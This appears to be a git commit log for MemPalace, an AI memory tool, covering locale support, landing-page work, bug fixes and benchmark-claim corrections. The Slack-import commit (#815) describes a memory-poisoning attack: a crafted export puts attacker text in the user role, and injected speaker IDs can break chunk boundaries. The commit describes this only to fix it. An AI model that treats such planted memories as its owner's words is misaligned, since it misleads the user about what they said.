can build to a stable surface.

Key decisions:
- Single ingest() method; lazy adapters yield SourceItemMetadata
  ahead of drawers, eager adapters interleave
- Declared-transformation model (§1.4) replaces informal verbatim
  promise with a verifiable one; byte_preserving adapters declare
  the empty set, declared_lossy adapters enumerate. Existing
  miner.py and the convo_miner+normalize pipeline map cleanly
- Palace is the incremental cursor via is_current(item, metadata);
  no sidecar persistence
- Routing is adapter-owned; detect_room/detect_hall move into the
  filesystem adapter
- Flat metadata per ChromaDB (RFC 001 §1.4) — entity hints as
  json_string field, KG triples route to SQLite knowledge graph
- Closets stay core-built as a post-step; adapters may emit flat
  closet_hints. Closes existing gap where convo drawers get no
  closets
- No per-drawer field renames: source_file, filed_at, source_mtime,
  added_by, normalize_version, entities, ingest_mode all preserved.
  Spec adds adapter_name, adapter_version, privacy_class

§9 enumerates the cleanup PR prerequisites (mempalace/sources/
module, PalaceContext facade, KnowledgeGraph.add_triple gaining
backwards-compatible source_drawer_id + adapter_name params).

Tracking issue: #989
2026-04-17 23:42:46 -07:00
Igor Lins e Silva e4a2cd48a2 Merge pull request #984 from domiscd/feat/landing-page-update
feat/landing-page: Improve landing page readability
2026-04-17 19:47:39 -03:00
Dominique Deschatre 2e3e0b979c Update landing.css 2026-04-17 19:40:25 -03:00
Dominique Deschatre 9e8281aab5 (landing) svg icons animations 2026-04-17 19:37:30 -03:00
Dominique Deschatre e5f5009f80 (landing) added Closets section 2026-04-17 19:18:10 -03:00
Dominique Deschatre 89f0eb5cb3 refactor(website): split Landing.vue into section components
Extract 2002-line monolith into landing/ subfolder:
- 8 section components (FolioHeader, HeroSection, ForgettingSection, AnatomySection, DialectSection, MechanicsSection, InstallSection, CatalogFooter)
- useLandingEffects.js composable for all vanilla-JS effects
- landing.css for all styles
- Landing.vue reduced to 28-line orchestrator

Also restores upstream hero lede text ("permanent. Designed for total recall.").
2026-04-17 18:49:41 -03:00
Dominique DeschatreandCopilot 8c3d1ba86c Merge remote-tracking branch 'upstream/develop' into feat/landing-page-update
Co-authored-by: Copilot <copilot@github.com>
2026-04-17 17:00:47 -03:00
Dominique Deschatre 28d4f67ba2 landing hero container 2026-04-17 15:53:50 -03:00
Igor Lins e Silva 6889c6ff33 Merge pull request #957 from MemPalace/release/3.3.1
release: v3.3.1
2026-04-17 00:37:45 -03:00
Igor Lins e Silva 41bff266a4 Merge pull request #918 from almirus/develop
feat(cli): add version display and version flag to CLI
2026-04-17 00:29:55 -03:00
Igor Lins e Silva 596f3d3a8e Merge pull request #964 from MemPalace/fix/website-false-claims
fix(website): correct false claims and stale numbers in live docs
2026-04-16 23:38:08 -03:00
Igor Lins e Silva 0cb9ee5c58 fix(website): correct false claims and stale numbers in live docs
- Landing: replace nonexistent `mempalace remember` CLI demo with real
  `mempalace mine ./notes`
- Landing: soften unverifiable absolutes ("forever available",
  "100% recall by design", "<50 ms", "90%+ compression",
  "two-thousand-year-old", "tens of thousands of entries")
- MCP tool count: 19 → 29 across mcp-integration, claude-code, openclaw,
  and modules; expand tool overview with Drawers, Tunnels, and System
  categories to match mcp_server.py
- Wake-up token range: ~170–900 → ~600–900 in cli/api-reference/python-api
  to match cli.py help text and concept docs
- Gemini CLI: move `--scope user` before target name and add `--`
  separator so `-m mempalace.mcp_server` isn't parsed as Gemini flags
2026-04-16 23:31:35 -03:00
Igor Lins e Silva 51919fef0c Merge pull request #963 from domiscd/feat/landing-page-update
feat(website): update landing page
2026-04-16 22:37:16 -03:00
Dominique Deschatre c8727b3a2d chore(website): add Google Analytics 2026-04-16 22:34:37 -03:00
Dominique Deschatre 44c525ddd3 Merge remote-tracking branch 'upstream/develop' into feat/landing-page-update
# Conflicts:
#	website/index.md
2026-04-16 22:31:22 -03:00
Dominique Deschatre d8ac4c3abb new landing page pt 2 2026-04-16 22:24:15 -03:00
Dominique Deschatre 9893fa2383 new landing page 2026-04-16 21:46:03 -03:00
Igor Lins e Silva b552bcf3ea Merge pull request #958 from MemPalace/fix/release-3.3.1-plugin-manifests
release: bump plugin manifests to 3.3.1
2026-04-16 16:26:35 -03:00
Igor Lins e Silva 05ad2dc194 release: bump plugin manifests to 3.3.1
version-guard workflow checks five sources must agree:
mempalace/version.py, pyproject.toml, .claude-plugin/marketplace.json,
.claude-plugin/plugin.json, .codex-plugin/plugin.json.

Initial release commit missed the three plugin manifests.
2026-04-16 16:25:00 -03:00
Igor Lins e Silva fd89303fe1 docs(changelog): backfill post-v3.3.0 PRs missed by initial boundary
Advisor caught: initial boundary (962776c..develop) skipped PRs that
landed on develop after v3.3.0 tag but before the sync-back merge.
Adds entries for #871 MEMPAL_VERBOSE, #811 research() local-only
default, #866 init .gitignore, #864 MCP stdout redirect, #863
precompact hook, #865 searcher empty results, #831 cold-start palace,
#862 init help, #815 Slack provenance, #840 save hook auto-mine.
Also drops the awkward caveat on #846 created_at — it's post-v3.3.0.
2026-04-16 16:12:37 -03:00
Igor Lins e Silva 2087869752 release: v3.3.1
Bumps version across pyproject.toml, mempalace/version.py, README badge,
and uv.lock. Finalizes the 3.3.0 CHANGELOG section (was still labeled
'Unreleased') and adds a 3.3.1 section covering the multi-language
entity-detection infra and the five new locales landed since 2026-04-13.

Highlights:
- Multi-language entity detection infra (#911) + script-aware word
  boundaries for combining-mark scripts (#932) + BCP 47 case-insensitive
  locale resolution (#928) + i18n patterns wired into miner/palace/
  entity_registry (#931)
- Five new fully-supported locales: pt-br (#156), ru (#760), it (#907),
  hi (#773), id (#778)
- UTF-8 encoding fix on read_text() calls for non-UTF-8 Windows locales
  (#946)
- KnowledgeGraph lock correctness (#884, #887)
- Various smaller fixes and improvements
2026-04-16 16:09:02 -03:00
Igor Lins e Silva 55a004fe1e Merge pull request #931 from mvalentsev/fix/i18n-entity-metadata
fix: use i18n candidate patterns for entity extraction in miner and palace
2026-04-16 15:54:01 -03:00
Igor Lins e Silva c5e249bba8 Merge pull request #946 from mvalentsev/fix/utf8-read-text
fix: add explicit UTF-8 encoding to read_text() calls (#776)
2026-04-16 15:52:42 -03:00
Igor Lins e Silva 65f99ad7e6 Merge pull request #928 from arnoldwender/fix/i18n-lang-case-insensitive
fix(i18n): resolve language codes case-insensitively (#927)
2026-04-16 15:44:36 -03:00
Igor Lins e Silva 29112fab82 Merge pull request #778 from dominosaurs/feat/id-lang
feat: add Indonesian language support
2026-04-16 15:44:26 -03:00
Igor Lins e Silva 4215be3926 Merge pull request #773 from tejasashinde/feat/add-i18n-hindi
feat: add Hindi language support to i18n module
2026-04-16 15:44:08 -03:00
jpandClaude Opus 4.6 15ea385554 fix: replace all non-ASCII progress markers for Windows encoding
Also fix miner.py checkmark and box-drawing/arrow chars (─, →) in
both miner.py and split_mega_files.py that would crash on cp1251/cp1252.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 08:59:58 -07:00
jpandClaude Opus 4.6 542b53bb0f fix: replace Unicode checkmark with ASCII + for Windows encoding (#535)
Windows terminals using cp1251/cp1252 crash on the Unicode ✓ (U+2713)
in progress output. Replace with ASCII + in convo_miner.py and
split_mega_files.py.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 08:59:58 -07:00
mvalentsev 09fe2dda3c fix: add explicit UTF-8 encoding to read_text() calls (#776)
On Windows with non-UTF-8 locale (e.g. GBK), Path.read_text() defaults
to platform encoding, breaking onboarding tests and any source code that
reads JSON/markdown with non-ASCII content.

5 files, 8 call sites fixed.
2026-04-16 16:00:29 +05:00
🍕 939d4c1e74 feat: Update Indonesian translations
Refine AAAK instruction and expand entity detection patterns.
2026-04-16 17:43:51 +08:00
🍕 88f5b5fa0e Add Indonesian language support
Introduces the Indonesian (id) locale, providing translations for CLI commands, status messages, and core terminology.

Includes language-specific regex patterns for stop words and action detection to support text processing and indexing in Indonesian. The test suite is updated with a sample case to verify correct dialect handling and compression.
2026-04-16 16:15:47 +08:00
mvalentsev cde0f5b9e7 remove unnecessary comment 2026-04-16 10:38:38 +05:00
mvalentsev 973bd62a9a fix: use pre-wrapped candidate patterns after #932 refactor 2026-04-16 10:37:18 +05:00
mvalentsev 8bf940f861 fix: use i18n candidate patterns for entity extraction in miner and palace
entity_detector.py was refactored in #911 to load candidate patterns
from i18n locale JSON files, supporting non-Latin scripts (Cyrillic,
accented Latin, etc.). But three other code paths still hardcoded the
ASCII-only regex [A-Z][a-z]{2,}, silently missing non-Latin entity
names in metadata tagging, closet indexing, and registry lookups.

Replace the hardcoded regex with a shared _candidate_entity_words()
helper that reuses the same i18n candidate_patterns as entity_detector.
2026-04-16 10:35:40 +05:00
tejasashinde 21da870bd0 fix(i18n/hi): add boundary_chars and update action_pattern for Devanagari-aware matching 2026-04-16 09:21:21 +05:30
Igor Lins e Silva d4c942417a Merge pull request #932 from MemPalace/fix/entity-detector-non-latin-boundaries
fix(entity_detector): script-aware word boundaries for combining-mark scripts
2026-04-15 22:38:59 -03:00
Igor Lins e Silva f895bc58e6 fix(entity_detector): script-aware word boundaries for combining-mark scripts
Python's \b is a \w/non-\w transition. Devanagari vowel signs (matras)
like ा ी ु are Unicode category Mc (Mark, Spacing Combining) — not \w.
This means \b splits mid-word on every matra: names like अनीता (Anita)
truncate to अनीत, and person-verb patterns like \bराज\s+ने\s+कहा\b
never match because \b fails after the final matra of कहा.

Same issue affects Arabic, Hebrew, Thai, Tamil, and every other script
whose words contain combining marks.

Fix: locales with combining-mark scripts declare a boundary_chars field
in their entity section (e.g. "\\w\\u0900-\\u097F" for Hindi). The i18n
loader replaces every \b in that locale's patterns with a script-aware
lookaround that treats the declared characters as "inside-word", and
pre-wraps candidate/multi_word patterns with the same boundary.

Default behavior (no boundary_chars) keeps standard \b — en, pt-br, ru,
it are unchanged.

Changes:
- mempalace/i18n/__init__.py: add _script_boundary, _expand_b,
  _wrap_candidate, _collect_entity_section; candidate_patterns are now
  returned fully-wrapped (boundary + capture group applied)
- mempalace/entity_detector.py: extract_candidates compiles pre-wrapped
  candidate patterns directly instead of re-wrapping with \b
- tests/test_entity_detector.py: 5 new tests for Devanagari boundaries
  (name extraction with/without boundary_chars, person-verb firing,
  English regression)
2026-04-15 22:18:52 -03:00
Arnold Wender 6caac50138 fix(i18n): use Optional[str] for Python 3.9 compatibility
PEP 604 union syntax (str | None) requires Python 3.10+. The project
supports 3.9 per CI matrix, so use typing.Optional instead.
2026-04-15 23:37:12 +02:00
Arnold Wender 0174b93d0f fix(i18n): resolve language codes case-insensitively (#927)
BCP 47 language tags are case-insensitive (RFC 5646 §2.1.1) but the
locale files mix conventions (pt-br.json vs zh-CN.json). On
case-sensitive filesystems, '--lang PT-BR' or '--lang zh-cn' silently
missed the file, _load_entity_section returned {}, and entity
detection ran in English with no warning.

The cache key in get_entity_patterns was built from raw input, so
('PT-BR',) and ('pt-br',) produced two distinct entries, both wrong.

Add _canonical_lang(lang) that resolves any casing to the on-disk
filename stem via lowercase comparison, and route load_lang,
_load_entity_section, and the cache key through it.

Closes #927
2026-04-15 23:33:42 +02:00
Igor Lins e Silva 122ce38811 Merge pull request #907 from Archetipo95/feat/italian-i18n-support
feat: add Italian language support
2026-04-15 18:05:13 -03:00
Igor Lins e Silva 57b0b14192 Merge pull request #156 from mvalentsev/feat/pt-br-entity-detection
feat: add Brazilian Portuguese support to entity_detector (closes #117)
2026-04-15 17:53:30 -03:00
almirus 10cdd93cec feat(cli): add version display and version flag to CLI
Introduces a version label to the command-line interface, displaying the current MemPalace version in the help text. Adds a `--version` flag to allow users to easily check the version and exit.
2026-04-15 21:44:20 +03:00
mvalentsev 4221589df2 fix(i18n): address review feedback on pt-br.json
- dialogue_patterns[0]: remove stray \" before > (fixes markdown quote matching)
- entity stopwords: add 40 prepositions, conjunctions, and common words to reduce false positives
- pronoun_patterns: add 2nd-person (você/vocês) and possessives (seu/sua/seus/suas)
2026-04-15 23:32:31 +05:00
mvalentsev 3d13a72ae0 feat(i18n): add Brazilian Portuguese locale with entity detection (closes #117)
CLI strings, AAAK instruction, regex patterns, and entity section
with person-verb, pronoun, dialogue, and candidate patterns for
Latin+diacritics names (Joao, Ines, Angela).

Follows the i18n entity framework from #911.
2026-04-15 23:32:31 +05:00
Tejas Shinde 33a98fb9d1 Updated hi.json to support infra for entity,pronoun_patterns,dialogue_patterns,direct_address_pattern, project_verb_patterns and stopwords 2026-04-15 23:33:24 +05:30
Tejas Shinde ce3ae0a668 Merge branch 'MemPalace:develop' into feat/add-i18n-hindi 2026-04-15 23:19:57 +05:30
Martin Masevski 69453b2180 feat: add italian entity patterns 2026-04-15 19:18:23 +02:00
Martin Masevski 2e998db0b9 feat: add italian i18n support 2026-04-15 19:15:55 +02:00
Igor Lins e Silva 73a2f82d5b Merge pull request #760 from mvalentsev/feat/i18n-russian
feat: add Russian language support (ru.json)
2026-04-15 13:46:04 -03:00
Igor Lins e Silva 312b3b5f0e Merge pull request #758 from mvalentsev/fix/i18n-review-issues
fix: address i18n review issues from PR #718
2026-04-15 13:45:49 -03:00
mvalentsevandalmirus 4b998de77a feat(i18n): expand Russian entity stopwords with prepositions and conjunctions
Adds 34 prepositions and conjunctions to reduce false positives
in entity detection when these words appear sentence-initial.

Co-Authored-By: almirus <almirus@users.noreply.github.com>
2026-04-15 21:14:51 +05:00
mvalentsevandalmirus 3e49522a42 fix(i18n): apply review feedback on ru.json (#760)
- mine_skip: "повторной раскопки" -> "повторной обработки"
- quote_pattern: add Russian guillemet quotes «»

Co-Authored-By: almirus <almirus@users.noreply.github.com>
2026-04-15 20:17:16 +05:00
mvalentsev d6bd7de5f6 feat(i18n): add entity detection section to Russian locale
Cyrillic candidate/multi-word patterns, person-verb patterns
(сказал, спросил, ответил, etc.), pronoun patterns, dialogue
markers, direct address, and Russian stopwords.

Follows the i18n entity framework from #911.
2026-04-15 18:16:25 +05:00
mvalentsev b87ada3c96 feat: add Russian language support to i18n module
Add ru.json with full Russian translations for CLI strings, palace
terminology, AAAK compression instruction, and regex patterns for
topic/action extraction with Cyrillic character classes.

No code changes needed -- the i18n module auto-discovers language
files via *.json glob in the i18n directory.
2026-04-15 18:15:15 +05:00
Igor Lins e Silva 3bac3654c4 Merge pull request #911 from MemPalace/refactor/entity-detector-i18n
refactor(entity_detector): make multi-language extensible via i18n JSON
2026-04-15 09:40:36 -03:00
Igor Lins e Silva c722c91e2a test: document orphan-locale recovery for _temp_locale helper 2026-04-15 08:54:23 -03:00
Igor Lins e Silva b214aced90 refactor(entity_detector): make multi-language extensible via i18n JSON
Move all entity-detection lexical patterns (person verbs, pronouns,
dialogue markers, project verbs, stopwords, candidate character class)
out of hardcoded module-level constants and into the entity section of
each locale's JSON in mempalace/i18n/. Adds a languages parameter to
every public function so callers union patterns across the desired
locales. The default stays ("en",), so all existing callers and tests
behave unchanged.

Also adds:
- get_entity_patterns(langs) helper in mempalace/i18n/ that merges
  patterns across requested languages, dedupes lists, unions stopwords,
  and falls back to English for unknown locales
- MempalaceConfig.entity_languages property + setter, with env var
  override (MEMPALACE_ENTITY_LANGUAGES, comma-separated)
- mempalace init --lang en,pt-br flag (persists to config.json)
- Per-language candidate_pattern so non-Latin scripts (Cyrillic,
  Devanagari, CJK) can register their own character classes instead of
  being silently dropped by the ASCII-only [A-Z][a-z]+ default
- _build_patterns LRU cache keyed by (name, languages) so multi-language
  callers don't poison each other's cache slots

Why now: the open language PRs (#760 ru, #773 hi, #778 id, #907 it) only
add CLI strings via mempalace/i18n/. PR #156 (pt-br) is the first that
needed entity_detector changes and inlined a _PTBR variant of every
constant. That doesn't scale past 2-3 languages — every text gets
checked against every language's patterns regardless of relevance, and
candidate extraction still drops accented and non-Latin names.

This PR sets the standard so future locale contributors only edit one
JSON file (no Python changes), and entity detection scales linearly
with how many languages a user actually enabled, not how many ship.
2026-04-15 08:52:42 -03:00
Igor Lins e Silva 56b6a6360f Merge pull request #908 from fatkobra/test/palace-graph-tunnels
test: add palace_graph tunnel helper coverage
2026-04-15 08:23:18 -03:00
fatkobra 966937d620 test: add palace_graph tunnel helper coverage
Adds focused tests for explicit tunnel helpers in `mempalace/palace_graph.py`.

Covered:
- `_load_tunnels`
- `_save_tunnels`
- `create_tunnel`
- `list_tunnels`
- `delete_tunnel`
- `follow_tunnels`
2026-04-15 11:38:18 +02:00
Marcio E. Heiderscheidt b524b31839 fix: restrict file permissions on sensitive palace data (#814)
* fix: restrict file permissions on sensitive palace data

On Linux with default umask (022), several files and directories
containing personal data were created world-readable. This patch
applies chmod 0o700 to directories and 0o600 to files immediately
after creation, wrapped in try/except for Windows compatibility.

Files hardened:
- hooks_cli.py: hook_state/ directory and hook.log
- entity_registry.py: entity_registry.json (names, relationships)
- knowledge_graph.py: knowledge_graph.sqlite3 parent directory
- exporter.py: export output directory and wing subdirectories
- config.py: people_map.json (name mappings)
- mcp_server.py: WAL file creation uses atomic os.open (TOCTOU fix)

Refs: MemPalace/mempalace#809

* fix: avoid redundant chmod calls on hot paths

- hooks_cli.py: chmod STATE_DIR and hook.log only on first creation,
  not on every _log() call (hooks fire on every Stop event)
- exporter.py: track created wing dirs to skip redundant makedirs +
  chmod on the same directory across batches
- mcp_server.py: remove redundant _WAL_FILE.chmod after os.open
  already set mode=0o600 atomically

Refs: MemPalace/mempalace#809
2026-04-15 00:27:03 -07:00
Marcio E. Heiderscheidt e61dc2adf8 fix: add provenance header and speaker IDs to Slack transcript imports (#815)
* fix: add provenance header and speaker IDs to Slack transcript imports

Slack exports are multi-party chats where no speaker is inherently
the "user" or "assistant". The parser previously assigned these roles
purely by position, allowing a crafted export to place attacker text
in the "user" role — making it appear as the memory owner's words
in all future retrieval (data poisoning via stored memory).

Changes:
- Add provenance header marking Slack transcripts as multi-party
  with positional (unverified) role assignment
- Prefix each message with the original speaker ID ([U1], [U2], etc.)
  so downstream consumers can distinguish authors
- Keep user/assistant role alternation for exchange-pair chunking
  compatibility with convo_miner.py

Tests:
- Provenance header presence and content
- Speaker ID preservation in output
- Attacker-first-message attribution verification

Refs: MemPalace/mempalace#809

* fix: move Slack provenance to footer, sanitize speaker IDs, extract constant

- Move provenance notice from header to footer to prevent it becoming
  a standalone ChromaDB drawer via paragraph chunking on exports
  with fewer than 3 exchange pairs (violates verbatim-always principle)
- Sanitize speaker user_id/username: strip brackets, newlines, and
  control characters to prevent chunk-boundary injection via crafted
  Slack exports
- Extract header string to _SLACK_PROVENANCE_FOOTER module constant,
  consistent with _TOOL_RESULT_* constants pattern; tests import it
  instead of duplicating the literal

Refs: MemPalace/mempalace#809
2026-04-15 00:27:01 -07:00
sha2fiddy a15094ce60 feat: include created_at timestamp in search results (#846)
* feat: include created_at timestamp in search results (closes #465)

Surface the existing filed_at metadata as created_at in search result
objects returned by search_memories(). Enables temporal reasoning over
search hits without additional queries.

* Feat: add fallback for missing filed_at metadata
2026-04-15 00:26:57 -07:00
Mikhail Valentsev ecd44f7cb7 fix(hooks): stop precompact hook from blocking compaction (#856, #858) (#863)
* fix(hooks): stop precompact hook from blocking compaction

The precompact hook unconditionally returned {"decision": "block"},
which in Claude Code means "cancel compaction" with no retry mechanism.
This made /compact permanently broken for all plugin users.

Changed hook_precompact() to mine the transcript synchronously (so data
lands before compaction) and return {"decision": "allow"}. This matches
the standalone bash hook in hooks/ which already uses allow.

Also extracted _get_mine_dir() and _mine_sync() helpers so precompact
can mine from the transcript directory, not just MEMPAL_DIR.

Stop hook behavior is unchanged -- left for #673 which implements the
full silent save path.

Closes #856, closes #858.

* fix: use empty JSON instead of invalid \"allow\" decision value

Claude Code only recognizes \"block\" as a top-level decision value.
\"allow\" is a permissionDecision value for PreToolUse hooks, not a
valid top-level decision. The correct way to not block is to return
empty JSON. Caught by #872.
2026-04-15 00:26:54 -07:00
Arnold Wender b226251ddf fix(mcp): redirect stdout to stderr during import to protect JSON-RPC channel (#225) (#864)
* fix(mcp): redirect stdout to stderr during import to protect JSON-RPC channel (#225)

Fixes #225.

Several transitive dependencies (chromadb, onnxruntime, posthog) print
banners and warnings to stdout — sometimes at the C level — during the
mcp_server import chain. Because the MCP protocol multiplexes JSON-RPC
over stdio, any non-JSON output on stdout corrupted the message stream
and broke Claude Desktop's parser with errors like:

  MCP mempalace: Unexpected token '*', "**********"... is not valid JSON
  MCP mempalace: Unexpected token 'E', "EP Error D"... is not valid JSON
  MCP mempalace: Unexpected token 'F', "Falling ba"... is not valid JSON

Reproduced on Windows 11 with mempalace 3.0.0 / Python 3.10 / Claude
Desktop 1.1062.0.

Fix: at module load, redirect stdout to stderr at both the Python level
(sys.stdout = sys.stderr) and the file-descriptor level (os.dup2(2, 1))
to catch C-level prints, while preserving the real stdout for later
restore. main() calls _restore_stdout() right before entering the
protocol loop so JSON-RPC responses still go to the real stdout.

Adds tests/test_mcp_stdio_protection.py with three regression tests:
- module-level redirect is in place after import
- _restore_stdout() restores the original stdout (idempotent)
- 'python -m mempalace.mcp_server' with empty stdin emits no stdout

* style: reformat with ruff 0.4 (CI version) for #225
2026-04-15 00:26:51 -07:00
Arnold Wender 0aee6f3ed9 fix(init): auto-add per-project files to .gitignore in git repos (#185) (#866)
Partially addresses #185.

`mempalace init <dir>` writes `mempalace.yaml` and `entities.json` into
the project root. When <dir> is a git repository, those files have no
default protection and risk being committed by accident — the loudest
concern in the original report.

This PR adds `_ensure_mempalace_files_gitignored()` which runs at the
end of cmd_init: if <dir>/.git exists, append the two filenames to
.gitignore (creating it if necessary) under a clearly-marked block.

The helper is conservative:
- only runs when <dir>/.git is present (no-op for non-git projects)
- skips entries already present (no duplicates)
- preserves existing .gitignore content
- handles files without trailing newlines

This does NOT relocate the files to ~/.mempalace/wings/<wing>/ as the
issue's 'Expected' section proposes — that's a behavioral change with
miner/config implications and warrants a separate design discussion.
The gitignore safeguard removes the immediate risk without breaking any
existing flow.

Tests: 5 cases in tests/test_init_gitignore_protection.py covering
no-op, fresh creation, partial append, idempotency, and missing-newline
edge case.
2026-04-15 00:26:41 -07:00
Arnold Wender 6a73eb2e20 fix(searcher): guard against empty ChromaDB query results (#195) (#865)
Fixes #195.

When ChromaDB returns no documents (empty palace, or wing/room filter
that excludes everything), it returns the shape:

    {"documents": [], "metadatas": [], "distances": []}

Indexing `results["documents"][0]` blindly raises IndexError instead of
the expected 'no results' response. Affected: searcher.search(),
searcher.search_memories() (drawer + closet branches plus the
total_before_filter aggregate), and Layer3.search() / Layer3.search_raw().

Adds a tiny private helper `searcher._first_or_empty(results, key)` that
safely extracts the inner list, returning [] for any of: missing key,
empty outer list, [None], or [[]]. layers.py imports the same helper to
avoid duplicating the guard.

Tests: tests/test_empty_chromadb_results.py covers all observed shapes
plus a documentation-style test that pins the original IndexError so
future readers understand why the helper exists.
2026-04-15 00:26:38 -07:00
Mikhail Valentsev 54a386d925 fix: return empty status instead of error on cold-start palace (#830) (#831)
tool_status() called _get_collection() with the default create=False,
which throws when the ChromaDB collection does not exist yet (valid
palace, zero drawers). The exception was swallowed and status returned
"No palace found" even though init had completed successfully.

Switching to create=True bootstraps an empty collection on first
status call, matching what the write path already does.

Fix suggested by @hkevinchu in the issue.
2026-04-15 00:26:35 -07:00
Marcio E. Heiderscheidt f20f45a2da fix: make entity_registry.research() local-only by default (#811)
* fix: make entity_registry.research() local-only by default

research() previously called _wikipedia_lookup() unconditionally,
sending entity names to en.wikipedia.org on every uncached lookup.
This violates the project's local-first and privacy-by-architecture
principles documented in CLAUDE.md.

Changes:
- research() now returns "unknown" for uncached words by default
- New allow_network=True parameter required for Wikipedia lookups
- Wikipedia 404 now returns "unknown" instead of asserting "person"
  with 0.70 confidence, preventing entity registry poisoning
- Added privacy warning docstring to _wikipedia_lookup()
- Added tests for local-only default, opt-in network, 404 handling,
  and cache-not-persisted-on-local-only behaviour

Refs: MemPalace/mempalace#809

* fix: improve research() cache read path and deduplicate test mocks

- Use .get() instead of .setdefault() for cache reads in research()
  so the local-only path never mutates _data unnecessarily
- Move .setdefault() to the network-write path only
- Use result.setdefault() for word/confirmed keys to ensure
  consistent return shape across all _wikipedia_lookup error paths
- Extract duplicated mock_result dict into _MOCK_SAOIRSE_PERSON
  constant shared by 3 test functions
2026-04-15 00:26:24 -07:00
Arnold Wender f36d04e4a4 docs(cli): clarify that 'mempalace init' requires <dir> (#210) (#862)
Fixes #210.

The CLI requires a positional <dir> argument. Previous docs emphasized
that init 'sets up ~/.mempalace/' which misled users into expecting
no arguments. Now the docs show <dir> is required, offer '.' as the
usage for the current directory, and reword the description so the
project-directory scan is listed first.
2026-04-15 00:26:20 -07:00
mvalentsev d565718922 fix: address i18n review issues from PR #718
Three issues flagged by bensig on the i18n PR before merge:

1. ko.json: status_drawers used {drawers} instead of {count}, causing
   the Korean UI to show the raw template string instead of the actual
   drawer count.  All other 7 languages use {count}.

2. Test file was shipped inside the package at mempalace/i18n/test_i18n.py
   with a sys.path.insert hack.  Moved to tests/test_i18n.py per the
   project convention in AGENTS.md.

3. Dialect.from_config() passed lang=config.get("lang") which defaults
   to None, causing __init__ to inherit whatever language was loaded
   earlier via module-level state.  Now defaults to "en" explicitly so
   from_config is deterministic regardless of prior load_lang() calls.

Added two regression tests for the ko.json fix and the state leak.
2026-04-15 11:03:28 +05:00
Ben Sigman ced1fc955d Merge pull request #897 from MemPalace/docs/honest-benchmarks-and-readme
docs: honest benchmarks + README/site rewrite (#875)
2026-04-14 20:35:29 -07:00
Igor Lins e Silva db4c52e8be Merge pull request #895 from MemPalace/bench/v3.3.0-verification
benchmarks: v3.3.0 reproduction results + Ollama rerank backend
2026-04-14 22:06:30 -03:00
Igor Lins e Silva 107685930d docs+tests: fix CI after README slim (#875)
The regression-guard tests added in #835 were pinned to the old
README shape (tool table + file-reference table). When #897 slimmed
the README and moved that content to the website, three tests
started failing:

  TestReadmeToolsExistInCode.test_every_readme_tool_exists_in_tools_dict
  TestNoUnlistedTools.test_no_undocumented_tools
  TestReadmeDialectNotLossless.test_readme_dialect_line_not_lossless

Changes in this commit:

1. Update the 3 tests to track the new canonical docs surfaces
   - Tool list -> website/reference/mcp-tools.md
     (tests parse `### \`mempalace_xxx\`` headings instead of
     markdown table rows).
   - dialect.py lossless disclaimer -> website/reference/modules.md
     (any line mentioning dialect.py must not also say "lossless").

2. Fix the website to make "no undocumented tools" true
   Add the 10 tools that existed in TOOLS but were missing from
   website/reference/mcp-tools.md (create_tunnel, delete_tunnel,
   follow_tunnels, list_tunnels, get_drawer, list_drawers,
   update_drawer, hook_settings, memories_filed_away, reconnect).
   Page header now correctly says "all 29 MCP tools".

3. Align pre-commit ruff pin to match CI (0.4.x)
   .pre-commit-config.yaml was pinning ruff v0.9.0, while
   .github/workflows/ci.yml installs ruff>=0.4.0,<0.5. The two
   formatters produce incompatible output (e.g. v0.9.0 reformats
   `assert (x), msg` -> `assert x, (msg)` in a way v0.4.x rejects),
   which would cause the pre-commit hook to modify files that CI
   then flags as unformatted. Pinning the hook to v0.4.10 keeps
   the dev loop and CI in lock-step.

Full suite: 887 passed, 0 failed.
2026-04-14 21:59:55 -03:00
Igor Lins e Silva bf3b9c5979 docs: #875 follow-up — repo surfaces + reproduction URLs + CHANGELOG
Remaining in-repo surfaces carrying the same retracted or broken
claims as the public pages fixed in the previous two commits.

CONTRIBUTING.md
 - "Palace structure matters ... 34% retrieval improvement" → reframed
   as scoping (same rewording applied to the website equivalents).

benchmarks/BENCHMARKS.md
 - Add a prominent "Important caveat" block at the top of the
   "Comparison vs Published Systems" table explaining that R@5
   (retrieval recall) and QA accuracy are different metrics, with
   citations to Mastra, Mem0, and Supermemory's own published
   methodology pages. Annotate the specific competitor rows whose
   numbers are QA accuracy, not retrieval recall.
 - Annotate the `hybrid v4 + rerank 100%` row to note that the 99.4
   → 100 step was tuned on 3 specific wrong answers (already disclosed
   further down in the doc under "Benchmark Integrity"); the honest
   hybrid figure is held-out 98.4%.
 - Fix the broken clone URL — `aya-thekeeper/mempal` no longer points
   at anything; now `MemPalace/mempalace`.

benchmarks/README.md + benchmarks/HYBRID_MODE.md
 - Same clone-URL fix applied.

CHANGELOG.md
 - Add a ### Documentation entry under [Unreleased] v3.3.0 that names
   #875 and summarises the scope of the rewrite.
2026-04-14 21:38:00 -03:00
Igor Lins e Silva f20a1a30fe docs(website): align mempalaceofficial.com with honest benchmarks
Part of #875. Bring the VitePress site into line with the new README
and the reproducibility scorecard: drop category-error comparisons,
drop retracted claims, retain only metrics and caveats that survive
audit.

website/index.md
 - New tagline matches README (local-first, verbatim, pluggable backend,
   96.6% R@5 raw, zero API calls).
 - Replace the "MemPalace hybrid 100% / Supermemory ~99% / Mastra
   94.87% / Mem0 ~85%" comparison table with a single honest table
   showing MemPalace's own retrieval-recall numbers (raw 96.6%,
   hybrid v4 held-out 98.4%). Add an explicit sentence explaining why
   we no longer publish a cross-system table on the landing page
   (retrieval recall vs QA accuracy are different metrics).
 - Soften the "ChromaDB-powered vector search" feature blurb to be
   backend-agnostic, since the retrieval layer is pluggable.

website/reference/benchmarks.md
 - Full rewrite of the retrieval-recall tables. No more "100%"
   headline; honest held-out 98.4% R@5 replaces it. Added the
   model-agnostic rerank result (99.2% R@5 / 100% R@10 with
   minimax-m2.7 via Ollama) to show the pipeline is not Haiku-specific.
 - Drop the LoCoMo "Hybrid v5 + Sonnet rerank (top-50) 100%" row.
   With per-conversation session counts of 19-32 and top_k=50, the
   retrieval stage returns every session by construction — the number
   measures an LLM's reading comprehension, not retrieval.
 - Drop the cross-system comparison tables. Link out to each project's
   own research page (Mastra, Mem0, Supermemory) for their published
   numbers and metric definitions.
 - Rewrite reproduction commands to use the correct repository and
   demonstrate the new --llm-backend ollama flag.

website/concepts/the-palace.md
 - Remove the "+34%" row / paragraph. Wing/room filtering is standard
   metadata filtering in the vector store, not a novel retrieval
   mechanism — the April-7 note already retracted that framing; this
